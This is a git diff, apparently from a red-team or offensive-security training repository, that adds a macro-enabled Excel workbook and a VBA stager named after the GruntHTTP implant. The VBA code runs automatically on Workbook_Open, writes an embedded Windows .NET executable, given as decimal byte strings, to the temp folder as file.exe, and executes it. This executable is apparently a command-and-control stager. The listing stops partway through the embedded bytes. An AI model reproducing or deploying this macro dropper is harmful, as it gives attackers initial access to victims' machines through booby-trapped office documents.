diff --git a/2-4-initial-access-malware/Book1_Foundations.xlsm b/2-4-initial-access-malware/Book1_Foundations.xlsm new file mode 100644 index 0000000..4a695ee Binary files /dev/null and b/2-4-initial-access-malware/Book1_Foundations.xlsm differ diff --git a/2-4-initial-access-malware/GruntHTTP-vba-stager.txt b/2-4-initial-access-malware/GruntHTTP-vba-stager.txt new file mode 100644 index 0000000..cdb5c7a --- /dev/null +++ b/2-4-initial-access-malware/GruntHTTP-vba-stager.txt @@ -0,0 +1,451 @@ +Sub Workbook_Open() + Dim strFile + + strFile = TempFilename + DumpFile strFile + RunFile strFile +End Sub + +Function TempFilename() + Dim objFSO + + Set objFSO = CreateObject("Scripting.FileSystemObject") + TempFilename = objFSO.BuildPath(objFSO.GetSpecialFolder(2), "file.exe") +End Function + +Sub RunFile(strFilename) + Dim sh + + Set sh = CreateObject("WScript.Shell") + sh.Run strFilename +End Sub + +Sub WriteBytes(objFile, strBytes) + Dim aNumbers + Dim iIter + + aNumbers = split(strBytes) + for iIter = lbound(aNumbers) to ubound(aNumbers) + objFile.Write Chr(aNumbers(iIter)) + next +End Sub + +Sub DumpFile1(objFile) + WriteBytes objFile, "77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 128 0 0 0 14 31 186 14 0 180 9 205" + WriteBytes objFile, "33 184 1 76 205 33 84 104 105 115 32 112 114 111 103 114 97 109 32 99 97 110 110 111" + WriteBytes objFile, "116 32 98 101 32 114 117 110 32 105 110 32 68 79 83 32 109 111 100 101 46 13 13 10" + WriteBytes objFile, "36 0 0 0 0 0 0 0 80 69 0 0 76 1 2 0 78 220 111 102 0 0 0 0 0 0 0 0 224 0 34 0 11 1" + WriteBytes objFile, "48 0 0 42 0 0 0 2 0 0 0 0 0 0 34 72 0 0 0 32 0 0 0 96 0 0 0 0 64 0 0 32 0 0 0 2 0" + WriteBytes objFile, "0 4 0 0 0 0 0 0 0 4 0 0 0 0 0 0 0 0 128 0 0 0 2 0 0 0 0 0 0 3 0 64 133 0 0 16 0 0" + WriteBytes objFile, "16 0 0 0 0 16 0 0 16 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 0 0 0 208 71 0 0 79 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 96 0 0 12 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0" + WriteBytes objFile, "0 8 0 0 0 0 0 0 0 0 0 0 0 8 32 0 0 72 0 0 0 0 0 0 0 0 0 0 0 46 116 101 120 116 0 0" + WriteBytes objFile, "0 40 40 0 0 0 32 0 0 0 42 0 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 96 46 114 101" + WriteBytes objFile, "108 111 99 0 0 12 0 0 0 0 96 0 0 0 2 0 0 0 44 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 66" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 72 0 0 0 0 0 0 72 0 0 0 2 0 5 0 132 45 0 0 76 26 0" + WriteBytes objFile, "0 1 0 0 0 2 0 0 6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 54 2 40 6 0 0 10 2 40 4 0 0 6 42 30 115 1 0 0 6 38" + WriteBytes objFile, "42 0 0 27 48 6 0 184 9 0 0 1 0 0 17 115 13 0 0 6 10 114 1 0 0 112 23 141 26 0 0 1" + WriteBytes objFile, "37 22 31 44 157 40 7 0 0 10 40 1 0 0 43 11 6 114 51 0 0 112 125 3 0 0 4 114 53 0 0" + WriteBytes objFile, "112 23 141 26 0 0 1 37 22 31 44 157 40 7 0 0 10 40 1 0 0 43 126 6 0 0 4 37 45 23 38" + WriteBytes objFile, "126 5 0 0 4 254 6 17 0 0 6 115 9 0 0 10 37 128 6 0 0 4 40 2 0 0 43 40 1 0 0 43 12" + WriteBytes objFile, "114 87 0 0 112 23 141 26 0 0 1 37 22 31 44 157 40 7 0 0 10 40 1 0 0 43 126 7 0 0 4" + WriteBytes objFile, "37 45 23 38 126 5 0 0 4 254 6 18 0 0 6 115 9 0 0 10 37 128 7 0 0 4 40 2 0 0 43 40" + WriteBytes objFile, "1 0 0 43 13 114 106 1 0 112 23 141 26 0 0 1 37 22 31 44 157 40 7 0 0 10 40 1 0 0 43" + WriteBytes objFile, "126 8 0 0 4 37 45 23 38 126 5 0 0 4 254 6 19 0 0 6 115 9 0 0 10 37 128 8 0 0 4 40" + WriteBytes objFile, "2 0 0 43 40 1 0 0 43 19 4 114 129 2 0 112 40 11 0 0 10 114 50 3 0 112 40 12 0 0 10" + WriteBytes objFile, "19 5 114 54 3 0 112 40 11 0 0 10 114 50 3 0 112 40 12 0 0 10 19 6 6 114 105 4 0 112" + WriteBytes objFile, "40 13 0 0 10 125 4 0 0 4 6 114 105 4 0 112 40 13 0 0 10 125 2 0 0 4 115 14 0 0 10" + WriteBytes objFile, "19 7 114 117 4 0 112 19 8 40 15 0 0 10 19 36 18 36 254 22 12 0 0 1 111 16 0 0 10 114" + WriteBytes objFile, "139 4 0 112 114 51 0 0 112 111 12 0 0 10 22 31 10 111 17 0 0 10 19 9 114 143 4 0 112" + WriteBytes objFile, "40 18 0 0 10 19 10 114 233 4 0 112 19 11 40 19 0 0 10 19 12 17 12 23 111 20 0 0 10" + WriteBytes objFile, "17 12 24 111 21 0 0 10 17 12 17 10 111 22 0 0 10 17 12 111 23 0 0 10 17 10 115 24" + WriteBytes objFile, "0 0 10 19 13 32 0 8 0 0 115 25 0 0 10 115 26 0 0 10 19 14 40 27 0 0 10 17 14 22 111" + WriteBytes objFile, "28 0 0 10 111 29 0 0 10 19 15 17 12 111 30 0 0 10 17 15 22 17 15 142 105 111 31 0" + WriteBytes objFile, "0 10 19 16 17 13 17 16 111 32 0 0 10 19 17 17 11 28 141 5 0 0 1 37 22 17 8 17 9 40" + WriteBytes objFile, "33 0 0 10 162 37 23 114 158 5 0 112 162 37 24 114 51 0 0 112 162 37 25 17 12 111 34" + WriteBytes objFile, "0 0 10 40 35 0 0 10 162 37 26 17 16 40 35 0 0 10 162 37 27 17 17 40 35 0 0 10 162" + WriteBytes objFile, "40 36 0 0 10 19 18 32 240 0 0 0 40 37 0 0 10 6 254 6 14 0 0 6 115 38 0 0 10 40 39" + WriteBytes objFile, "0 0 10 40 27 0 0 10 17 18 111 29 0 0 10 40 11 0 0 6 19 19 20 19 20 115 8 0 0 6 19" + WriteBytes objFile, "20 17 20 23 111 40 0 0 10 17 20 40 41 0 0 10 111 42 0 0 10 17 20 111 43 0 0 10 40" + WriteBytes objFile, "44 0 0 10 111 45 0 0 10 114 51 0 0 112 19 21 7 111 46 0 0 10 19 37 56 228 0 0 0 18" + WriteBytes objFile, "37 40 47 0 0 10 19 38 22 19 39 56 138 0 0 0 8 17 39 111 48 0 0 10 114 162 5 0 112" + WriteBytes objFile, "40 49 0 0 10 44 54 17 20 17 38 115 50 0 0 10 9 17 39 111 48 0 0 10 114 176 5 0 112" + WriteBytes objFile, "114 180 5 0 112 111 12 0 0 10 114 184 5 0 112 114 51 0 0 112 111 12 0 0 10 111 9 0" + WriteBytes objFile, "0 6 43 58 17 20 111 51 0 0 10 8 17 39 111 48 0 0 10 114 184 5 0 112 114 51 0 0 112" + WriteBytes objFile, "111 12 0 0 10 9 17 39 111 48 0 0 10 114 184 5 0 112 114 51 0 0 112 111 12 0 0 10 111" + WriteBytes objFile, "52 0 0 10 17 39 23 88 19 39 17 39 9 111 53 0 0 10 63 105 255 255 255 17 20 17 38 17" + WriteBytes objFile, "4 17 7 17 4 111 53 0 0 10 111 54 0 0 10 111 48 0 0 10 114 184 5 0 112 114 51 0 0 112" + WriteBytes objFile, "111 12 0 0 10 40 33 0 0 10 111 55 0 0 10 38 17 38 19 21 222 3 38 222 0 18 37 40 56" + WriteBytes objFile, "0 0 10 58 16 255 255 255 222 14 18 37 254 22 3 0 0 27 111 57 0 0 10 220 22 19 40 56" + WriteBytes objFile, "129 0 0 0 8 17 40 111 48 0 0 10 114 162 5 0 112 40 49 0 0 10 44 51 17 20 17 21 115" + WriteBytes objFile, "50 0 0 10 9 17 40 111 48 0 0 10 114 176 5 0 112 114 180 5 0 112 111 12 0 0 10 114" + WriteBytes objFile, "184 5 0 112 17 9 111 12 0 0 10 111 9 0 0 6 43 52 17 20 111 51 0 0 10 8 17 40 111 48" + WriteBytes objFile, "0 0 10 114 184 5 0 112 17 9 111 12 0 0 10 9 17 40 111 48 0 0 10 114 184 5 0 112 17" + WriteBytes objFile, "9 111 12 0 0 10 111 52 0 0 10 17 40 23 88 19 40 17 40 9 111 53 0 0 10 63 114 255 255" + WriteBytes objFile, "255 17 20 17 21 17 4 17 7 17 4 111 53 0 0 10 111 54 0 0 10 111 48 0 0 10 114 184 5" + WriteBytes objFile, "0 112 17 9 111 12 0 0 10 40 33 0 0 10 17 5 17 19 40 58 0 0 10 111 59 0 0 10 17 6 40" + WriteBytes objFile, "5 0 0 6 22 111 48 0 0 10 19 22 40 27 0 0 10 17 22 40 12 0 0 6 111 60 0 0 10 19 22" + WriteBytes objFile, "17 22 17 11 40 5 0 0 6 37 25 111 48 0 0 10 19 23 37 26 111 48 0 0 10 19 24 27 111" + WriteBytes objFile, "48 0 0 10 17 24 40 18 0 0 10 19 25 17 13 17 25 111 32 0 0 10 40 35 0 0 10 40 61 0" + WriteBytes objFile, "0 10 44 5 221 188 4 0 0 17 12 17 23 40 18 0 0 10 111 62 0 0 10 17 12 111 63 0 0 10" + WriteBytes objFile, "17 25 22 17 25 142 105 111 31 0 0 10 19 26 17 14 17 26 23 111 64 0 0 10 19 27 40 19" + WriteBytes objFile, "0 0 10 19 28 17 28 23 111 20 0 0 10 17 28 24 111 21 0 0 10 17 28 17 27 111 22 0 0" + WriteBytes objFile, "10 17 28 111 23 0 0 10 17 28 111 65 0 0 10 115 24 0 0 10 19 13 26 141 51 0 0 1 19" + WriteBytes objFile, "29 40 66 0 0 10 17 29 111 67 0 0 10 17 28 111 30 0 0 10 17 29 22 17 29 142 105 111" + WriteBytes objFile, "31 0 0 10 19 30 17 13 17 30 111 32 0 0 10 19 17 17 11 28 141 5 0 0 1 37 22 17 9 162" + WriteBytes objFile, "37 23 114 198 5 0 112 162 37 24 114 51 0 0 112 162 37 25 17 28 111 34 0 0 10 40 35" + WriteBytes objFile, "0 0 10 162 37 26 17 30 40 35 0 0 10 162 37 27 17 17 40 35 0 0 10 162 40 36 0 0 10" + WriteBytes objFile, "19 31 40 27 0 0 10 17 31 111 29 0 0 10 40 11 0 0 6 19 19 22 19 41 56 129 0 0 0 8 17" + WriteBytes objFile, "41 111 48 0 0 10 114 162 5 0 112 40 49 0 0 10 44 51 17 20 17 21 115 50 0 0 10 9 17" + WriteBytes objFile, "41 111 48 0 0 10 114 176 5 0 112 114 180 5 0 112 111 12 0 0 10 114 184 5 0 112 17" + WriteBytes objFile, "9 111 12 0 0 10 111 9 0 0 6 43 52 17 20 111 51 0 0 10 8 17 41 111 48 0 0 10 114 184" + WriteBytes objFile, "5 0 112 17 9 111 12 0 0 10 9 17 41 111 48 0 0 10 114 184 5 0 112 17 9 111 12 0 0 10" + WriteBytes objFile, "111 52 0 0 10 17 41 23 88 19 41 17 41 9 111 53 0 0 10 63 114 255 255 255 17 20 17" + WriteBytes objFile, "21 17 4 17 7 17 4 111 53 0 0 10 111 54 0 0 10 111 48 0 0 10 114 184 5 0 112 17 9 111" + WriteBytes objFile, "12 0 0 10 40 33 0 0 10 17 5 17 19 40 58 0 0 10 111 59 0 0 10 17 6 40 5 0 0 6 22 111" + WriteBytes objFile, "48 0 0 10 19 22 40 27 0 0 10 17 22 40 12 0 0 6 111 60 0 0 10 19 22 17 22 17 11 40" + WriteBytes objFile, "5 0 0 6 37 25 111 48 0 0 10 19 23 37 26 111 48 0 0 10 19 24 27 111 48 0 0 10 17 24" + WriteBytes objFile, "40 18 0 0 10 19 25 17 13 17 25 111 32 0 0 10 40 35 0 0 10 40 61 0 0 10 44 5 221 150" + WriteBytes objFile, "2 0 0 17 28 17 23 40 18 0 0 10 111 62 0 0 10 17 28 111 63 0 0 10 17 25 22 17 25 142" + WriteBytes objFile, "105 111 31 0 0 10 26 141 51 0 0 1 19 32 26 141 51 0 0 1 19 33 37 22 17 32 22 26 40" + WriteBytes objFile, "68 0 0 10 26 17 33 22 26 40 68 0 0 10 17 29 40 35 0 0 10 17 32 40 35 0 0 10 40 61" + WriteBytes objFile, "0 0 10 44 5 221 54 2 0 0 17 28 111 23 0 0 10 17 28 111 30 0 0 10 17 33 22 17 33 142" + WriteBytes objFile, "105 111 31 0 0 10 19 34 17 13 17 34 111 32 0 0 10 19 17 17 11 28 141 5 0 0 1 37 22" + WriteBytes objFile, "17 9 162 37 23 114 202 5 0 112 162 37 24 114 51 0 0 112 162 37 25 17 28 111 34 0 0" + WriteBytes objFile, "10 40 35 0 0 10 162 37 26 17 34 40 35 0 0 10 162 37 27 17 17 40 35 0 0 10 162 40 36" + WriteBytes objFile, "0 0 10 19 35 40 27 0 0 10 17 35 111 29 0 0 10 40 11 0 0 6 19 19 22 19 42 56 129 0" + WriteBytes objFile, "0 0 8 17 42 111 48 0 0 10 114 162 5 0 112 40 49 0 0 10 44 51 17 20 17 21 115 50 0" + WriteBytes objFile, "0 10 9 17 42 111 48 0 0 10 114 176 5 0 112 114 180 5 0 112 111 12 0 0 10 114 184 5" + WriteBytes objFile, "0 112 17 9 111 12 0 0 10 111 9 0 0 6 43 52 17 20 111 51 0 0 10 8 17 42 111 48 0 0" + WriteBytes objFile, "10 114 184 5 0 112 17 9 111 12 0 0 10 9 17 42 111 48 0 0 10 114 184 5 0 112 17 9 111" + WriteBytes objFile, "12 0 0 10 111 52 0 0 10 17 42 23 88 19 42 17 42 9 111 53 0 0 10 63 114 255 255 255" + WriteBytes objFile, "17 20 17 21 17 4 17 7 17 4 111 53 0 0 10 111 54 0 0 10 111 48 0 0 10 114 184 5 0 112" + WriteBytes objFile, "17 9 111 12 0 0 10 40 33 0 0 10 17 5 17 19 40 58 0 0 10 111 59 0 0 10 17 6 40 5 0" + WriteBytes objFile, "0 6 22 111 48 0 0 10 19 22 40 27 0 0 10 17 22 40 12 0 0 6 111 60 0 0 10 19 22 17 22" + WriteBytes objFile, "17 11 40 5 0 0 6 37 25 111 48 0 0 10 19 23 37 26 111 48 0 0 10 19 24 27 111 48 0 0" + WriteBytes objFile, "10 17 24 40 18 0 0 10 19 25 17 13 17 25 111 32 0 0 10 40 35 0 0 10 40 61 0 0 10 44" + WriteBytes objFile, "5 221 129 0 0 0 17 28 17 23 40 18 0 0 10 111 62 0 0 10 17 28 111 63 0 0 10 17 25 22" + WriteBytes objFile, "17 25 142 105 111 31 0 0 10 40 69 0 0 10 111 70 0 0 10 22 154 111 71 0 0 10 22 154" + WriteBytes objFile, "20 26 141 5 0 0 1 37 22 17 21 162 37 23 6 123 3 0 0 4 162 37 24 17 9 162 37 25 17" +End Sub + +Sub DumpFile2(objFile) + WriteBytes objFile, "28 162 111 72 0 0 10 38 222 38 19 43 40 73 0 0 10 17 43 111 74 0 0 10 40 11 0 0 10" + WriteBytes objFile, "17 43 111 75 0 0 10 40 76 0 0 10 111 77 0 0 10 222 0 42 65 76 0 0 0 0 0 0 208 2 0" + WriteBytes objFile, "0 216 0 0 0 168 3 0 0 3 0 0 0 5 0 0 1 2 0 0 0 194 2 0 0 247 0 0 0 185 3 0 0 14 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 145 9 0 0 145 9 0 0 38 0 0 0 14 0 0 1 19 48 3 0 18 2 0 0" + WriteBytes objFile, "2 0 0 17 3 40 78 0 0 10 114 206 5 0 112 114 212 5 0 112 111 12 0 0 10 114 216 5 0" + WriteBytes objFile, "112 114 212 5 0 112 111 12 0 0 10 114 222 5 0 112 114 228 5 0 112 111 12 0 0 10 16" + WriteBytes objFile, "1 3 114 232 5 0 112 111 79 0 0 10 44 18 3 114 232 5 0 112 114 240 5 0 112 111 12 0" + WriteBytes objFile, "0 10 16 1 3 114 12 6 0 112 111 79 0 0 10 44 18 3 114 12 6 0 112 114 20 6 0 112 111" + WriteBytes objFile, "12 0 0 10 16 1 3 114 48 6 0 112 111 79 0 0 10 44 18 3 114 48 6 0 112 114 56 6 0 112" + WriteBytes objFile, "111 12 0 0 10 16 1 3 114 84 6 0 112 111 79 0 0 10 44 18 3 114 84 6 0 112 114 92 6" + WriteBytes objFile, "0 112 111 12 0 0 10 16 1 3 114 120 6 0 112 111 79 0 0 10 44 18 3 114 120 6 0 112 114" + WriteBytes objFile, "128 6 0 112 111 12 0 0 10 16 1 3 114 156 6 0 112 111 79 0 0 10 44 18 3 114 156 6 0" + WriteBytes objFile, "112 114 164 6 0 112 111 12 0 0 10 16 1 3 115 80 0 0 10 2 40 81 0 0 10 10 115 82 0" + WriteBytes objFile, "0 10 11 6 111 83 0 0 10 114 192 6 0 112 111 84 0 0 10 44 27 7 6 111 83 0 0 10 114" + WriteBytes objFile, "192 6 0 112 111 84 0 0 10 111 85 0 0 10 111 86 0 0 10 6 111 83 0 0 10 114 206 6 0" + WriteBytes objFile, "112 111 84 0 0 10 44 27 7 6 111 83 0 0 10 114 206 6 0 112 111 84 0 0 10 111 85 0 0" + WriteBytes objFile, "10 111 86 0 0 10 6 111 83 0 0 10 114 220 6 0 112 111 84 0 0 10 44 27 7 6 111 83 0" + WriteBytes objFile, "0 10 114 220 6 0 112 111 84 0 0 10 111 85 0 0 10 111 86 0 0 10 6 111 83 0 0 10 114" + WriteBytes objFile, "234 6 0 112 111 84 0 0 10 44 27 7 6 111 83 0 0 10 114 234 6 0 112 111 84 0 0 10 111" + WriteBytes objFile, "85 0 0 10 111 86 0 0 10 6 111 83 0 0 10 114 248 6 0 112 111 84 0 0 10 44 27 7 6 111" + WriteBytes objFile, "83 0 0 10 114 248 6 0 112 111 84 0 0 10 111 85 0 0 10 111 86 0 0 10 6 111 83 0 0 10" + WriteBytes objFile, "114 6 7 0 112 111 84 0 0 10 44 27 7 6 111 83 0 0 10 114 6 7 0 112 111 84 0 0 10 111" + WriteBytes objFile, "85 0 0 10 111 86 0 0 10 7 42 30 2 123 1 0 0 4 42 34 2 3 125 1 0 0 4 42 74 2 40 87" + WriteBytes objFile, "0 0 10 2 115 88 0 0 10 40 7 0 0 6 42 58 2 40 6 0 0 6 3 4 111 89 0 0 10 42 0 0 0 19" + WriteBytes objFile, "48 2 0 38 0 0 0 3 0 0 17 2 3 40 90 0 0 10 117 21 0 0 1 10 6 45 8 2 3 40 90 0 0 10" + WriteBytes objFile, "42 6 2 40 6 0 0 6 111 91 0 0 10 6 42 30 2 40 35 0 0 10 42 30 2 40 18 0 0 10 42 30" + WriteBytes objFile, "2 40 6 0 0 10 42 0 0 19 48 2 0 64 0 0 0 4 0 0 17 23 10 2 123 2 0 0 4 44 36 2 123 3" + WriteBytes objFile, "0 0 4 114 51 0 0 112 40 61 0 0 10 44 18 4 111 92 0 0 10 2 123 3 0 0 4 40 49 0 0 10" + WriteBytes objFile, "10 6 2 123 4 0 0 4 95 44 6 14 4 22 254 1 10 6 42 46 115 16 0 0 6 128 5 0 0 4 42 70" + WriteBytes objFile, "40 27 0 0 10 3 40 18 0 0 10 111 60 0 0 10 42 0 0 66 83 74 66 1 0 1 0 0 0 0 0 12 0" + WriteBytes objFile, "0 0 118 52 46 48 46 51 48 51 49 57 0 0 0 0 5 0 108 0 0 0 196 6 0 0 35 126 0 0 48 7" + WriteBytes objFile, "0 0 48 9 0 0 35 83 116 114 105 110 103 115 0 0 0 0 96 16 0 0 20 7 0 0 35 85 83 0 116" + WriteBytes objFile, "23 0 0 16 0 0 0 35 71 85 73 68 0 0 0 132 23 0 0 200 2 0 0 35 66 108 111 98 0 0 0 0" + WriteBytes objFile, "0 0 0 2 0 0 1 87 21 162 9 9 10 0 0 0 250 1 51 0 22 0 0 1 0 0 0 64 0 0 0 6 0 0 0 8" + WriteBytes objFile, "0 0 0 19 0 0 0 16 0 0 0 92 0 0 0 9 0 0 0 4 0 0 0 1 0 0 0 1 0 0 0 2 0 0 0 3 0 0 0 1" + WriteBytes objFile, "0 0 0 3 0 0 0 4 0 0 0 2 0 0 0 0 0 245 2 1 0 0 0 0 0 6 0 154 2 106 6 6 0 186 2 106" + WriteBytes objFile, "6 6 0 134 2 72 6 15 0 138 6 0 0 6 0 205 7 105 4 6 0 88 2 105 4 6 0 98 0 253 0 6 0" + WriteBytes objFile, "165 4 105 4 6 0 102 6 160 8 6 0 163 0 160 8 6 0 97 5 160 8 6 0 67 1 105 4 31 0 246" + WriteBytes objFile, "5 0 0 6 0 53 5 105 4 10 0 174 3 85 7 10 0 246 7 219 7 6 0 107 2 106 6 10 0 206 5 219" + WriteBytes objFile, "7 10 0 209 3 105 4 10 0 93 8 219 7 10 0 75 8 219 7 6 0 65 2 181 6 10 0 219 4 181 6" + WriteBytes objFile, "10 0 153 7 234 8 6 0 136 0 105 4 6 0 92 5 105 4 6 0 144 3 105 4 14 0 195 1 80 5 6" + WriteBytes objFile, "0 84 0 253 0 6 0 0 8 105 4 6 0 206 4 105 4 6 0 67 8 105 4 6 0 112 4 160 8 6 0 149" + WriteBytes objFile, "1 160 8 6 0 137 1 160 8 6 0 139 7 160 8 6 0 18 3 120 8 6 0 131 4 160 8 6 0 189 4 160" + WriteBytes objFile, "8 6 0 151 4 160 8 10 0 136 5 219 7 10 0 255 1 219 7 10 0 217 3 234 8 10 0 18 9 219" + WriteBytes objFile, "7 10 0 172 1 219 7 10 0 57 4 219 7 10 0 247 6 219 7 10 0 33 5 219 7 10 0 253 4 33" + WriteBytes objFile, "1 6 0 206 1 105 4 6 0 224 2 105 4 6 0 1 6 160 8 6 0 129 5 105 4 6 0 138 8 105 4 6" + WriteBytes objFile, "0 189 8 235 4 6 0 15 2 105 4 6 0 63 5 235 4 6 0 40 2 235 4 6 0 218 1 105 4 6 0 222" + WriteBytes objFile, "5 198 0 10 0 132 8 85 7 10 0 17 5 85 7 10 0 74 5 85 7 10 0 32 2 85 7 0 0 0 0 187 0" + WriteBytes objFile, "0 0 0 0 1 0 1 0 1 0 16 0 170 5 170 5 21 0 1 0 1 0 2 0 16 0 240 7 0 0 65 0 1 0 6 0" + WriteBytes objFile, "130 1 16 0 172 4 0 0 21 0 2 0 11 0 3 1 16 0 32 0 0 0 21 0 2 0 13 0 3 33 16 0 249 0" + WriteBytes objFile, "0 0 21 0 5 0 15 0 1 0 72 1 81 2 6 0 27 3 85 2 6 0 192 3 88 2 6 0 42 8 85 2 54 0 183" + WriteBytes objFile, "0 91 2 22 0 1 0 95 2 22 0 53 0 95 2 22 0 105 0 95 2 80 32 0 0 0 0 134 24 23 6 6 0" + WriteBytes objFile, "1 0 94 32 0 0 0 0 150 0 214 4 103 2 1 0 94 32 0 0 0 0 150 0 216 2 109 2 2 0 104 32" + WriteBytes objFile, "0 0 0 0 134 0 156 5 6 0 2 0 120 42 0 0 0 0 150 0 59 2 113 2 2 0 150 44 0 0 0 0 134" + WriteBytes objFile, "8 182 5 123 2 4 0 158 44 0 0 0 0 129 8 202 5 62 2 4 0 167 44 0 0 0 0 134 24 23 6 6" + WriteBytes objFile, "0 5 0 186 44 0 0 0 0 134 0 153 6 43 2 5 0 204 44 0 0 0 0 196 0 90 8 55 2 7 0 254 44" + WriteBytes objFile, "0 0 0 0 150 0 196 4 36 1 8 0 6 45 0 0 0 0 150 0 60 8 203 0 9 0 14 45 0 0 0 0 134 24" + WriteBytes objFile, "23 6 6 0 10 0 24 45 0 0 0 0 131 0 143 0 128 2 10 0 100 45 0 0 0 0 145 24 29 6 109" + WriteBytes objFile, "2 14 0 14 45 0 0 0 0 134 24 23 6 6 0 14 0 112 45 0 0 0 0 131 0 10 0 164 1 14 0 112" + WriteBytes objFile, "45 0 0 0 0 131 0 62 0 164 1 15 0 112 45 0 0 0 0 131 0 114 0 164 1 16 0 0 0 1 0 242" + WriteBytes objFile, "6 0 0 1 0 235 0 0 0 2 0 198 7 0 0 1 0 239 2 0 0 1 0 213 3 0 0 2 0 164 6 0 0 1 0 176" + WriteBytes objFile, "7 0 0 1 0 236 6 0 0 1 0 68 6 0 0 1 0 122 5 0 0 2 0 55 8 0 0 3 0 229 4 0 0 4 0 169" + WriteBytes objFile, "7 0 0 1 0 196 0 0 0 1 0 196 0 0 0 1 0 208 0 9 0 23 6 1 0 17 0 23 6 6 0 25 0 23 6 10" + WriteBytes objFile, "0 49 0 23 6 6 0 137 0 23 6 6 0 41 0 23 6 6 0 217 0 234 7 104 0 225 0 104 8 111 0 12" + WriteBytes objFile, "0 23 6 138 0 225 0 212 7 144 0 241 0 236 1 173 0 217 0 105 1 177 0 249 0 59 2 183" + WriteBytes objFile, "0 65 0 23 6 6 0 97 0 64 1 188 0 41 0 132 3 193 0 217 0 151 3 197 0 1 1 42 3 203 0" + WriteBytes objFile, "73 0 81 2 209 0 9 1 128 1 214 0 9 1 6 3 221 0 9 1 152 8 228 0 9 1 224 0 6 0 81 0 23" + WriteBytes objFile, "6 228 0 33 1 23 6 6 0 89 0 23 6 234 0 41 1 174 0 242 0 49 1 120 3 248 0 41 1 227 6" + WriteBytes objFile, "253 0 9 1 52 6 3 1 57 1 37 4 9 1 65 1 180 3 18 1 217 0 184 7 25 1 9 1 210 0 31 1 1" + WriteBytes objFile, "1 59 3 36 1 217 0 191 7 42 1 73 1 75 4 49 1 89 1 23 6 138 0 73 1 253 3 56 1 129 0" + WriteBytes objFile, "50 7 63 1 161 0 28 9 68 1 129 0 8 9 74 1 129 0 254 8 81 1 105 1 20 7 87 1 97 1 4 7" + WriteBytes objFile, "93 1 20 0 243 5 106 1 28 0 12 8 121 1 20 0 96 4 126 1 217 0 208 8 132 1 153 0 23 6" + WriteBytes objFile, "138 1 129 0 127 7 143 1 137 1 230 7 149 1 20 0 24 8 155 1 65 0 115 8 159 1 129 0 74" + WriteBytes objFile, "3 164 1 28 0 111 8 169 1 145 1 51 2 6 0 217 0 191 7 173 1 129 0 89 3 177 0 41 1 141" + WriteBytes objFile, "3 179 1 217 0 220 8 132 1 9 1 217 0 228 0 9 1 36 6 3 1 89 0 34 8 185 1 9 1 144 8 31" + WriteBytes objFile, "1 161 1 81 2 193 1 161 1 227 6 228 0 169 1 198 8 199 1 185 1 24 1 212 1 185 1 172" + WriteBytes objFile, "6 220 1 193 1 91 6 227 1 209 1 188 1 234 1 217 1 233 5 241 1 113 0 160 1 193 0 113" + WriteBytes objFile, "0 113 1 193 0 217 0 184 7 247 1 225 1 226 1 138 1 233 1 248 1 8 2 217 0 76 7 13 2" + WriteBytes objFile, "233 1 23 6 138 1 233 1 174 3 18 2 20 0 23 6 6 0 121 0 116 7 24 2 241 1 96 4 30 2 1" + WriteBytes objFile, "2 229 2 193 0 20 0 29 1 37 2 129 0 23 6 6 0 145 0 23 6 6 0 145 0 153 6 43 2 129 0" + WriteBytes objFile, "90 8 55 2 169 0 202 5 62 2 177 0 102 3 193 0 33 0 43 0 193 2 46 0 11 0 144 2 46 0" + WriteBytes objFile, "19 0 153 2 46 0 27 0 184 2 64 0 35 0 193 2 163 0 43 0 193 2 192 0 43 0 193 2 195 0" + WriteBytes objFile, "43 0 193 2 224 0 43 0 193 2 16 0 254 1 50 2 68 2 3 0 1 0 0 0 206 5 139 2 2 0 6 0 3" + WriteBytes objFile, "0 1 0 7 0 3 0 131 0 100 1 115 1 4 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 161 3 0 0 4" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 72 2 240 0 0 0 0 0 4 0 0 0 0 0 0 0 0 0 0 0 72 2 105 4 0 0 0" + WriteBytes objFile, "0 4 0 0 0 0 0 0 0 0 0 0 0 72 2 20 2 0 0 0 0 3 0 2 0 4 0 2 0 5 0 2 0 6 0 2 0 17 0 127" + WriteBytes objFile, "0 21 0 168 0 0 0 0 0 0 60 62 57 95 95 51 95 48 0 60 69 120 101 99 117 116 101 83 116" + WriteBytes objFile, "97 103 101 114 62 98 95 95 51 95 48 0 60 62 99 95 95 68 105 115 112 108 97 121 67" + WriteBytes objFile, "108 97 115 115 51 95 48 0 60 62 57 95 95 51 95 49 0 60 69 120 101 99 117 116 101 83" + WriteBytes objFile, "116 97 103 101 114 62 98 95 95 51 95 49 0 73 69 110 117 109 101 114 97 98 108 101" + WriteBytes objFile, "96 49 0 76 105 115 116 96 49 0 60 62 57 95 95 51 95 50 0 60 69 120 101 99 117 116" + WriteBytes objFile, "101 83 116 97 103 101 114 62 98 95 95 51 95 50 0 70 117 110 99 96 50 0 60 69 120 101" + WriteBytes objFile, "99 117 116 101 83 116 97 103 101 114 62 98 95 95 51 0 72 77 65 67 83 72 65 50 53 54" + WriteBytes objFile, "0 103 101 116 95 85 84 70 56 0 60 62 57 0 60 77 111 100 117 108 101 62 0 72 0 83 121" + WriteBytes objFile, "115 116 101 109 46 73 79 0 85 0 103 101 116 95 73 86 0 